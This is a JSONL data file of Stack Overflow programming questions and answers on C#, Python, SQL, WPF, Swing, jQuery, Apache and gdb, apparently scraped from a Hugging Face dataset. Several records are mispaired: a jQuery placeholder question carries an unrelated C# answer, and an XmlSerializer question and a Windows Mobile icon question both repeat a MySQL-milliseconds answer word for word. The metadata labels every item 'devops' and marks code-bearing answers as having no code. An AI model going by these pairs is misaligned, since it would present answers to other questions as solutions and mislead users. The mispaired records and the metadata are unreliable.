{"id": "hf_10e27caf72a0", "question": "<p>I'm getting pretty tired of my development box dying and then I end up having to reinstall a laundry list of tools that I use in development.  </p>\n\n<p>This time I think I'm going to set the development environment up on a Virtual Box VM and save it to an external HDD so that way I can bring the development environment back up quickly after I fix the real computer.  </p>\n\n<p>It seems to be like a good way to make a \"hardware agnostic backup\" and be able to get back up to speed quickly after a disaster.</p>\n\n<p>Has anybody tried this?  How well did it work?  Did it save you time?</p>\n", "question_body": "", "answer": "I've done this with good success, we had this in our QA environment even and we'd also make use of Undo disks, so that if we want to test for example Microsoft patches we could roll the box back to it's previous state.\nThe only case we had issues was on SQL Server's particullary if you do a lot of disk activity. We had two VM's replicating gigs of data btw each other hosted on the same physical box. The disks just couldn't keep up; however, for all the other tiers it worked like a breeze.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.126333"}
{"id": "hf_86dc41962fb9", "question": "<p>Given say 11/13/2008 - 12/11/2008 as the value posted back in TextBox, what would be the best way to parse out the start and end date using C#?</p>\n\n<p>I know I could use:</p>\n\n<pre><code>DateTime startDate = Convert.ToDateTime(TextBoxDateRange.Text.Substring(0, 10));\nDateTime endDate = Convert.ToDateTime(TextBoxDateRange.Text.Substring(13, 10));\n</code></pre>\n\n<p>Is there a better way?</p>\n", "question_body": "", "answer": "```\n```\nvar dates = TextBoxDateRange.Text.Split(new char[] { '-' }, StringSplitOptions.RemoveEmptyEntries);\n\nvar startDate = DateTime.Parse(dates[0], CultureInfo.CurrentCulture);\nvar endDate = DateTime.Parse(dates[1], CultureInfo.CurrentCulture);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.172772"}
{"id": "hf_b4b535af9ebb", "question": "<p>List comprehensions can be useful in certain situations, but they can also be rather horrible to read.. As a slightly exaggerated example, how would you indent the following?</p>\n\n<pre><code>allUuids = [x.id for x in self.db.query(schema.allPostsUuid).execute(timeout = 20) if x.type == \"post\" and x.deleted is not False]\n</code></pre>\n", "question_body": "", "answer": "How about:\n```\n```\nallUuids = [x.id for x in self.db.query(schema.allPostsUuid).execute(timeout = 20) \n                   if (x.type == \"post\" and x.deleted is not False)]\n```\n```\nGenerally, long lines can be avoided by pre-computing subexpressions into variables, which might add a minuscule performance cost:\n```\n```\nquery_ids = self.db.query(schema.allPostsUuid).execute(timeout = 20)\nallUuids = [x.id for x in query_ids\n                   if (x.type == \"post\" and x.deleted is not False)]\n```\n```\nBy the way, isn't '\n```\nis not False\n```\n' kind-of superfluous ? Are you worried about differentiating between None and False ? Because otherwise, it suffices to leave the condition as only: i\n```\nf (x.type == \"post\" and x.deleted)\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.207827"}
{"id": "hf_29a0e2ba9314", "question": "<pre><code>var A = {\n    x : function () { }\n};\n\nvar b = function (method) {\n    //want to know method's \"parent\" here\n};\n\nb(A.x);\n</code></pre>\n\n<p>I want to know that x is defined in A when I call the b(A.x). Is this possible?</p>\n", "question_body": "", "answer": "There's no nice built-in way to do this, because actually there are no methods in Javascript. They are independent Function objects that just happen to be assigned somewhere.\nIf you create new instance of function every time (e.g. closure)\n[thanks Matthew Crumley for pointing that out]\n, then you can modify the function object to explicitly associate it with its parent:\n```\n```\nx.parent = A;\n```\n```\nand then you can call it properly as if it was a method:\n```\n```\nx.call(x.parent);\n```\n```\nOtherwise you will have to pass both function and its parent object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.280047"}
{"id": "hf_4be2ade7b545", "question": "<p>This is my code:</p>\n\n<pre><code>import datetime\ntoday = datetime.date.today()\nprint(today)\n</code></pre>\n\n<p>This prints: <code>2008-11-22</code> which is exactly what I want.</p>\n\n<p>But, I have a list I'm appending this to and then suddenly everything goes \"wonky\". Here is the code:</p>\n\n<pre><code>import datetime\nmylist = []\ntoday = datetime.date.today()\nmylist.append(today)\nprint(mylist)\n</code></pre>\n\n<p>This prints the following: </p>\n\n<pre><code>[datetime.date(2008, 11, 22)]\n</code></pre>\n\n<p>How can I get just a simple date like <code>2008-11-22</code>?</p>\n", "question_body": "", "answer": "You need to convert the\n```\ndatetime\n```\nobject to a\n```\nstr\n```\n.\nThe following code worked for me:\n```\n```\nimport datetime\n\ncollection = []\ndateTimeString = str(datetime.date.today())\ncollection.append(dateTimeString)\n    \nprint(collection)\n```\n```\nLet me know if you need any more help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.339642"}
{"id": "hf_40f801d8d644", "question": "<p>I'm loading an html snippet using </p>\n\n<pre><code>$(\"#TemplateDump\").load(\"Themes/default.template\", function() { processTemplate() })\n</code></pre>\n\n<p>The html i am loading contains</p>\n\n<pre><code>&lt;div&gt;\n`hello ##name##, your age is ##age##. \nyour page is &lt;a href=\"##website##\"&gt;here&lt;/a&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>I need to replace the ## placeholders with \"joe\",\"112\" and \"www.whatever.com\". Is there a more jquery way of doing this rather than using straight javascript .replace? Are there any place holder replacement plugins around? using .replace in IE on the url placeholder just doesnt work either. Dont know why. By the way, the templates cant be changed.</p>\n", "question_body": "", "answer": "you could make it static\n```\n```\npublic class Foo\n{\n    List<Bar> Bars = new List<Bar>();\n\n    public void AddBar(Bar bar)\n    {\n        Bars.Add(bar);\n        Bar.AddFoo(bar,this);\n    }\n}\n\npublic class Bar\n{\n    List<Foo> Foos = new List<Foo>();\n\n    // This shouldn't exist.\n    public static void AddFoo(Bar bar, Foo foo)\n    {\n        bar.Foos.Add(foo);\n        //foo.AddBar(this); inf recurtion\n    }\n}\n```\n```\nNot really ideal but it does get the function off the object its self", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.378958"}
{"id": "hf_49da268b5a65", "question": "<p>Is there any way to get the time down to the Millisecond in MySQL?</p>\n", "question_body": "", "answer": "MySQL doesn't support milliseconds in any of the time / date columns, or return it in\n```\nNOW()\n```\nso unfortunately, no.\nIf you have a string in a date / time + microseconds format you can use\n```\nSELECT MICROSECOND('1997-12-31 23:59:59.000010');\n```\nto extract the microseconds.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.415220"}
{"id": "hf_58ba27ab236d", "question": "<p>I was just wondering if there are any good work-arounds for Deserializing private fields/properties using XmlSerializer.Deserialize() ?</p>\n\n<p>Currently, I Deserialize my XML to a simple disposable type with all public properties, then I load the complex type that has private properties like this:</p>\n\n<pre><code>ComplexType complex = new ComplexType(SimpleType);\n</code></pre>\n\n<p>and the constructor of ComplexType looks like this:</p>\n\n<pre><code>public ComplexType(SimpleType simpleType){\n    this.Property1 = simpleType.Property1;\n    this.Property2 = simpleType.Property2;\n    .....\n\n}\n</code></pre>\n\n<p>Anyone has a better way of doing this?</p>\n", "question_body": "", "answer": "MySQL doesn't support milliseconds in any of the time / date columns, or return it in\n```\nNOW()\n```\nso unfortunately, no.\nIf you have a string in a date / time + microseconds format you can use\n```\nSELECT MICROSECOND('1997-12-31 23:59:59.000010');\n```\nto extract the microseconds.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.439513"}
{"id": "hf_6e6ac5368d10", "question": "<p>I am trying to write a unix command line utility that will extract the \"application\" icon from a Windows Mobile executable.  When I look inside the .exe with <a href=\"http://www.nongnu.org/icoutils/\" rel=\"nofollow noreferrer\">wrestool</a> from the icoutils package, I see multiple icon and group_icon resources.  I am trying to figure out which icon the Windows Mobile Programs view would choose to display to the end user.</p>\n\n<p>At first, I figured it would be the icon with name 32512 (IDI_APPLICATION), but then I found several Windows Mobile binaries that lacked this icon resource, but sure enough had visible icons in the Programs view.</p>\n\n<p>Is there a simple but correct algorithm?  like lowest resource id? Is there another resource in the .exe that tells me what is the application icon?  Is there something obvious that I am missing?</p>\n\n<p>Any insight would be appreciated.</p>\n", "question_body": "", "answer": "MySQL doesn't support milliseconds in any of the time / date columns, or return it in\n```\nNOW()\n```\nso unfortunately, no.\nIf you have a string in a date / time + microseconds format you can use\n```\nSELECT MICROSECOND('1997-12-31 23:59:59.000010');\n```\nto extract the microseconds.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.467727"}
{"id": "hf_4422aa920367", "question": "<p>I have a table that has, in essence, this structure:</p>\n\n<pre> key        value\n ------     ------\n 2          val1\n 3          val2\n 5          val3</pre>\n\n<p>The keys are sequential integers from 1 up to (currently) 1 million, increasing by several thousand each day. Gaps in the keys occur when records have been deleted.</p>\n\n<p>I'm looking for an SQL query that returns this:</p>\n\n<pre> key        value\n ------     ------\n 1\n 2          val1\n 3          val2\n 4 \n 5          val3</pre>\n\n<p>I can see how to do this with joining to a second table that has a complete list of keys. However I'd prefer a solution that uses standard SQL (no stored procedures or a second table of keys), and that will work no matter what the upper value of the key is. </p>\n", "question_body": "", "answer": "SQL queries have no looping mechanism.  Procedure languages have loops, but queries themselves can only \"loop\" over data that they find in a table (or a derived table).\nWhat I do to generate a list of numbers on the fly is to do a cross-join on a small table of digits 0 through 9:\n```\n```\nCREATE TABLE n (d NUMERIC);\nINSERT INTO n VALUES (0), (1), (2), (3), (4), (5), (6), (7), (8), (9);\n```\n```\nThen to generate 00..99:\n```\n```\nSELECT n1.d + n2.d*10 AS d\nFROM n AS n1 CROSS JOIN n AS n10;\n```\n```\nIf you want only 00..57:\n```\n```\nSELECT n1.d + n2.d*10 AS d\nFROM n AS n1 CROSS JOIN n AS n2\nWHERE n1.d + n2.d*10 <= 57;\n```\n```\nYou can of course join the table for the 100's place, 1000's place, etc.  Note that you can't use column aliases in the WHERE clause, so you have to repeat the full expression.\nNow you can use this as a derived table in a\n```\nFROM\n```\nclause and join it to your data table.\n```\n```\nSELECT n0.d, mytable.value\nFROM\n   (SELECT n1.d + n2.d*10 + n2.d*100 + n3.d*1000 \n      + n4.d*10000 + n5.d*100000 AS d\n    FROM n AS n1 CROSS JOIN n AS n2 CROSS JOIN n AS n3 \n      CROSS JOIN n AS n4 CROSS JOIN n AS n5) AS n0\n  LEFT OUTER JOIN mytable ON (n0.d = mytable.key)\nWHERE n0.d <= (SELECT MAX(key) FROM mytable);\n```\n```\nYou do need to add another\n```\nCROSS JOIN\n```\neach time your table exceeds an order of magnitude in size.  E.g. when it grows past 1 million, add a join for\n```\nn6\n```\n.\nNote also we can now use the column alias in the WHERE clause of the outer query.\nAdmittedly, it can be a pretty expensive query to do this solely in SQL.  You might find that it's both simpler and speedier to \"fill in the gaps\" by writing some application code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.595599"}
{"id": "hf_dc1150dda795", "question": "<p>I am creating a custom WPF control that let's say for simplicity sake has a vertical stack panel with a \"title\" TextBlock, followed by a ContentPresenter. I want the font size for the \"title\" to be 5 Points LARGER than the size used in the content, which is inherited by whatever container the user places this control in.</p>\n\n<p>How can I specify a font size in the control template for the header element using a relative value without exposing a property like \"TitleFontSize\" to the user? I want do \"add 5\".</p>\n\n<p>I tried using a ScaleTransform on the header text block with mixed results (the text block scaled fine but the orientation was modified - I had the text right-justified and it moved \"off the control\" area when scaled). Also, I am not sure if scale transform would be approprite here. </p>\n", "question_body": "", "answer": "I did it with an IValueConverter as follows:\nCreated a class FontSizeConverter that derives from IValueConverter. The Convert method adds 10 to the value, and the ConvertBack method subtracts 10.\n```\n```\npublic class FontSizeConverter : IValueConverter\n{\n\n    #region IValueConverter Members\n\n    public object Convert(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture)\n    {\n        return (double)value + 12.0;\n    }\n\n    public object ConvertBack(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture)\n    {\n        return (double)value - 12.0;\n    }\n\n    #endregion\n}\n```\n```\nNext, I declaried an instance of this class in the XAML template for the control:\n```\n```\n<Style.Resources>\n        <local:FontSizeConverter x:Key=\"fontSizeConverter\"/>\n</Style.Resources>\n```\n```\nAnd Finnaly, the FontSize binding uses this converter applied to the inherited FontSize property:\n```\n```\n<TextBlock FontSize=\"{Binding RelativeSource={RelativeSource TemplatedParent}, Path=FontSize, Converter={StaticResource fontSizeConverter}}\" \n                                   Grid.Row=\"0\" Text=\"{Binding RelativeSource={RelativeSource TemplatedParent}, \n                                   Path=Date.Day}\" HorizontalAlignment=\"Right\" VerticalAlignment=\"Top\" Padding=\"2\" Margin=\"2\" >\n </TextBlock>\n```\n```\nThis works. But I still do not know if this is the correct answer. Let me know if there is a better way, or if this is appropriate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.631709"}
{"id": "hf_ebadc813e314", "question": "<p>I want to select about 4-5 rows from a table, then form a space separated string.</p>\n\n<p>All of this is to be done in a stored procedure (SQL server 2005).</p>\n\n<p>Is this possible?</p>\n\n<p>I will then use this space-separated string and save it to another table.</p>\n\n<p><b>Update</b></p>\n\n<pre><code>SELECT *\nFROM Users\nWHERE userID &lt; 10\n</code></pre>\n\n<p>output:</p>\n\n<pre><code>john\njake\nblah\nsam\n</code></pre>\n\n<p>So, put this in a space separated string:</p>\n\n<p>'john jake blah sam'</p>\n\n<p>and save that string to another row in a table.</p>\n\n<p>All this has to be done in a stored procedure (if possible).</p>\n", "question_body": "", "answer": "I think something like this will work:\n```\n```\nDECLARE @whatever varchar(max)  -- or varchar(1000) or whatever size\nSET @whatever = ''\n\nSELECT @whatever = @whatever + MyColumn + ' ' FROM MyTable\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.678351"}
{"id": "hf_3197cacda3e1", "question": "<p>Code like this often happens:</p>\n<pre><code>l = []\nwhile foo:\n    # baz\n    l.append(bar)\n    # qux\n</code></pre>\n<p>This is really slow if you're about to append thousands of elements to your list, as the list will have to be constantly resized to fit the new elements.</p>\n<p>In Java, you can create an ArrayList with an initial capacity. If you have some idea how big your list will be, this will be a lot more efficient.</p>\n<p>I understand that code like this can often be refactored into a list comprehension. If the <em>for</em>/<em>while</em> loop is very complicated, though, this is unfeasible. Is there an equivalent for us Python programmers?</p>\n", "question_body": "", "answer": "Python lists have no built-in pre-allocation. If you really need to make a list, and need to avoid the overhead of appending (and you should verify that you do), you can do this:\n```\n```\nl = [None] * 1000 # Make a list of 1000 None's\nfor i in xrange(1000):\n    # baz\n    l[i] = bar\n    # qux\n```\n```\nPerhaps you could avoid the list by using a generator instead:\n```\n```\ndef my_things():\n    while foo:\n        #baz\n        yield bar\n        #qux\n\nfor thing in my_things():\n    # do something with thing\n```\n```\nThis way, the list isn't every stored all in memory at all, merely generated as needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.701549"}
{"id": "hf_70398170dd11", "question": "<p>i’m trying to create a url string that works like this:</p>\n\n<pre><code>/app/process/example.com/index.html\n</code></pre>\n\n<p>so in other words,</p>\n\n<pre><code>/app/process/$URL\n</code></pre>\n\n<p>i then retrieve the url with </p>\n\n<pre><code>$this-&gt;uri-&gt;segment(3);\n</code></pre>\n\n<p>the forward slashes in the URL will of course be a problem accessing uri segments, so i’ll go ahead and url encode the URL portion:</p>\n\n<pre><code>/app/process/example.com%2Findex.html\n</code></pre>\n\n<p>.. but now I just get a 404 saying ...</p>\n\n<pre><code>Not Found\n\nThe requested URL /app/process/example.com/index.html was not found on this server. \n</code></pre>\n\n<p>it appears that my url encoding of forward slashes breaks CI’s URI parser.</p>\n\n<p>what can i do to get around this problem?</p>\n", "question_body": "", "answer": "With CodeIgniter, the path of the URL corresponds to a controller, a function in the controller, and the parameters to the function.\nYour URL, /app/process/example.com/index.html, would correspond to the app.php controller, the process function inside, and two parameters example.com and index.html:\n```\n```\n<?php\nclass App extends Controller {\n    function process($a, $b) {\n       // at this point $a is \"example.com\" and $b is \"index.html\"\n    }\n}\n?>\n```\n```\nedit:\nIn rereading your question, it seems like you want to interpret part of the URL as another URL. To do this, you need to write your function to take a variable number of arguments. To do this, you can use the functions func_num_args and func_get_arg as follows:\n```\n```\n<?php\nclass App extends Controller {\n    function process() {\n        $url = \"\";\n        for ($i = 0; $i < func_num_args(); $i++) {\n            $url .= func_get_arg($i) . \"/\";\n        }\n\n        // $url is now the url in the address\n    }\n}\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.724819"}
{"id": "hf_e1ec4af3dc91", "question": "<p>Hey everyone. I'm trying to make a swing GUI with a button and a label on it.  im using a border layout and the label ( in the north field ) shows up fine, but the button takes up the rest of the frame (it's in the center field).  any idea how to fix this?</p>\n", "question_body": "", "answer": "You have to add the button to another panel, and then add that panel to the frame.\nIt turns out the BorderLayout expands what ever component is in the middle\nYour code should look like this now:\nBefore\n```\n```\npublic static void main( String [] args ) {\n    JLabel label = new JLabel(\"Some info\");\n    JButton button = new JButton(\"Ok\");\n\n    JFrame frame = ... \n\n    frame.add( label, BorderLayout.NORTH );\n    frame.add( button , BorderLayout.CENTER );\n    ....\n\n}\n```\n```\nChange it to something like this:\n```\n```\npublic static void main( String [] args ) {\n    JLabel label = new JLabel(\"Some info\");\n    JButton button = new JButton(\"Ok\");\n    JPanel panel = new JPanel();\n     panel.add( button );\n\n    JFrame frame = ... \n\n    frame.add( label, BorderLayout.NORTH );\n    frame.add( panel , BorderLayout.CENTER);\n    ....\n\n}\n```\n```\nBefore/After\nBefore http://img372.imageshack.us/img372/2860/beforedl1.png\nAfter http://img508.imageshack.us/img508/341/aftergq7.png", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.853731"}
{"id": "hf_7f0ee6a71ab4", "question": "<p>I've got a method JSNI that calls a Java method that take a Hasmap as input. \nI've tried </p>\n\n<pre><code>handler.@com.mypackage::myMethod(Ljava/util/Hashmap;)(myHashMap);\nhandler.@com.mypackage::myMethod(Ljava/util/Hashmap&lt;Ljava/lang/String,Ljava/lang/String&gt;;)(myHashMap);\n</code></pre>\n\n<p>I'm can't seem to define the correct type signature to include the Strings or find if this usage is even allowed. </p>\n\n<p>Since I'm doing this in gwt I though it might be the implementation of hashmap and the alternative approach I've though takes a String[][] array as input </p>\n\n<p>I was hoping for somwthing like</p>\n\n<p>handler.@com.mypackage::myMethod([[Ljava/lang/String;)(myArray);</p>\n\n<p>However, I hit another issue of finding the correct JNSI sntax for the 2nd dimension of the array </p>\n\n<p>A single dimension array ie. <code>[Ljava/lang/String;</code> is fine but I need the 2nd dimension.</p>\n\n<p>Any help/ideas or links to good jnsi doc appreciated.</p>\n", "question_body": "", "answer": "Can you post the error that your getting, and also what kind of javascript object your trying to pass as a hashmap. I'm assuming you're getting a compile time error?\nHere is a good start for JSNI documentation:\nGWT JSNI doc\nGWT Blog post on JSNI", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.888937"}
{"id": "hf_48f8d0114d0d", "question": "<p>I've read a few instances in reading mathematics and computer science that use the equivalence symbol <strong><code>≡</code></strong>, (basically an '=' with three lines) and it always makes sense to me to read this as if it were equality.  What is the difference between these two concepts?</p>\n", "question_body": "", "answer": "In languages that I have seen that differentiate between equality and equivalence, equality usually means the type\nand\nvalue are the same while equivalence means that just the values are the same.  For example:\n```\n```\nint i = 3;\ndouble d = 3.0;\n```\n```\ni and d would be have an equivalence relationship since they represent the same value but not equality since they have different types.  Other languages may have different ideas of equivalence (such as whether two variables represent the same object).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.958289"}
{"id": "hf_fed28591c5ad", "question": "<p>So the following rewrite rules always seem to fire.  This has the effect of hiding another domain that I am hosting on the server?</p>\n\n<p>I can't seem to figure out what's wrong and it is time to call in the experts:</p>\n\n<pre><code>RewriteEngine on\nRewriteCond %{HTTP_HOST} ^danielhonig.com\nRewriteRule ^(.*)$ http://www.danielhonig.com/$1 [R=permanent,L]\n\nRedirectMatch ^/$ http://www.danielhonig.com/gravl\nOptions None\n</code></pre>\n", "question_body": "", "answer": "Place the rewrite rules inside your\n```\n<VirtualHost>\n```\ndirective, then it will not affect your other domain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.980951"}
{"id": "hf_7aca43d67f1a", "question": "<p>How do I make gdb print functions of interest as they are called, indented according to how deep in the stack they are?</p>\n\n<p>I want to be able to say something like (made up):</p>\n\n<pre><code>(gdb) trace Foo* Bar* printf\n</code></pre>\n\n<p>And have gdb print all functions which begin with Foo or Bar, as they are called. Kind of like gnu cflow, except using the debugging symbols and only printing functions which actually get called, not all possible call flows.</p>\n\n<p>Tools which won't help include cachegrind, callgrind and oprofile, which order the results by which functions were called most often. I need the order of calling preserved.</p>\n\n<p>The wildcarding (or equivalent) is essential, as there are a lot of Foo and Bar funcs. Although I would settle for recording absolutely every function. Or, perhaps telling gdb to record all functions in a particular library.</p>\n\n<p>Some GDB wizard must have a script for this common job!</p>\n", "question_body": "", "answer": "Did you see litb's excellent anwser to a similar post\nhere\n?\nHe uses readelf to get interesting symbols, gdb commands to get the trace, and awk to glue all that.\nBasically what you have to change is to modify his gdb command script to remove the 1 depth from backtrace to see the stack and filter specific functions, and reformat the output with an awk/python/(...) script to present it as a tree. (I admit I'm too lazy to do it now...)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.003762"}
{"id": "hf_46fdb7d489b4", "question": "<p>Is there any good way to unit test destructors?  Like say I have a class like this (contrived) example:</p>\n\n<pre><code>class X\n{\nprivate:\n    int *x;\n\npublic:\n    X()\n    {\n         x = new int;\n    }\n\n    ~X()\n    {\n         delete x;\n    }\n\n    int *getX() {return x;}\n    const int *getX() const {return x;}\n};\n</code></pre>\n\n<p>Is there any good way to unit test this to make sure x gets deleted without cluttering up my hpp file with #ifdef TESTs or breaking encapsulation?  The main problem that I'm seeing is that it's difficult to tell if x really got deleted, especially because the object is out of scope at the time the destructor is called.</p>\n", "question_body": "", "answer": "Some compilers will overwrite deleted memory with a known pattern in debug mode to help detect access to dangling pointers. I know Visual C++ used to use 0xDD, but I haven't used it in a while.\nIn your test case, you can store a copy of x, let it go out of scope and make sure that *x == 0xDDDDDDDD:\n```\n```\nvoid testDestructor()\n{\n    int *my_x;\n    {\n        X object;\n        my_x = object.getX();\n    }\n    CPPUNIT_ASSERT( *my_x == 0xDDDDDDDD );\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.026991"}
{"id": "hf_27875090c0eb", "question": "<p>I've been doing html, css and javascript for quite a long time, mostly for my very own enjoyment. I would say I know fairly much, I've created many simple games and apps and experiments with javascript. However there is only so much that is possible to do in the browser, for any more \"complete\" websites I am constantly confronted with my ignorance on server side programming.</p>\n\n<p>So, what do I need. I need to get my head around how to use databases and how to use some server side programming language, I guess. What is the right choice? What should I avoid?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "PHP\nand\nMySQL\nhave a pretty low barrier to entry (they're both free and ubiquitous).  I'd start with those, since most hosts provide them for you.  As an added bonus, they work really well together (and PHP isn't very hard to learn coming from a web development background).\nHead First SQL\nis a great book for learning MySQL.  All of the examples in the book are done on MySQL.  The book even explains where to get it and how to install it.  As for PHP, the\nintroductory tutorial\nat official website is the best place to learn it.\nUpdate:\nHead First PHP & MySQL\nis now available.  I haven't read this one yet, but other books in the series and by the same author are great for learning new languages from scratch.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.060134"}
{"id": "hf_38104bc59b27", "question": "<p>I am trying to create a custom accordion for my page to that display my posts. I have it in list format using HTML and I am trying to create an effect when you click each header to expand to show more information.</p>\n\n<p>But I don't want to have say six blocks of code for six of the <code>&lt;li&gt;</code> elements I have on the page.</p>\n\n<p>Is there a way to run it through .each(); perhaps? Instead of creating each section? Try a more dynamic approach.</p>\n", "question_body": "", "answer": "Did you take a look at\nthis tutorial\n?\nBecause, as this\nexample illustrates\n, one does not need multiple conditions to achieve this.\n```\n```\n<script type=\"text/javascript\" src=\"jquery.js\"></script>\n<script type=\"text/javascript\">\n$(document).ready(function()\n{\n  //hide the all of the element with class msg_body\n  $(\".msg_body\").hide();\n  //toggle the componenet with class msg_body\n  $(\".msg_head\").click(function()\n  {\n    $(this).next(\".msg_body\").slideToggle(600);\n  });\n});\n</script>\n```\n```\nAll the element with the class name “msg_body” is collapsed when the page is loaded.\nThe “slideToggle()” function of jQuery is used to expand and collapse the “div” with class “msg_body”.\nWhen user clicks on the element with the class “.msg_head”, then div with class “msg_body” next to it, gets toggled with sliding effect, making toggle panel using jQuery.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.083118"}
{"id": "hf_94de1fdea673", "question": "<p>We all know that premature optimization is the root of all evil because it leads to unreadable/unmaintainable code.  Even worse is pessimization, when someone implements an \"optimization\" because they <em>think</em> it will be faster, but it ends up being slower, as well as being buggy, unmaintainable, etc.  What is the most ridiculous example of this that you've seen?</p>\n", "question_body": "", "answer": "Nothing Earth-shattering, I admit, but I've caught people using StringBuffer to concatenate Strings outside of a loop in Java.  It was something simple like turning\n```\n```\nString msg = \"Count = \" + count + \" of \" + total + \".\";\n```\n```\ninto\n```\n```\nStringBuffer sb = new StringBuffer(\"Count = \");\nsb.append(count);\nsb.append(\" of \");\nsb.append(total);\nsb.append(\".\");\nString msg = sb.toString();\n```\n```\nIt used to be quite common practice to use the technique in a loop, because it was measurably faster.  The thing is, StringBuffer is synchronized, so there's actually extra overhead if you're only concatenating a few Strings.  (Not to mention that the difference is absolutely trivial on this scale.)  Two other points about this practice:\nStringBuilder is unsynchronized, so should be preferred over StringBuffer in cases where your code can't be called from multiple threads.\nModern Java compilers will turn readable String concatenation into optimized bytecode for you when it's appropriate anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:20.129673"}
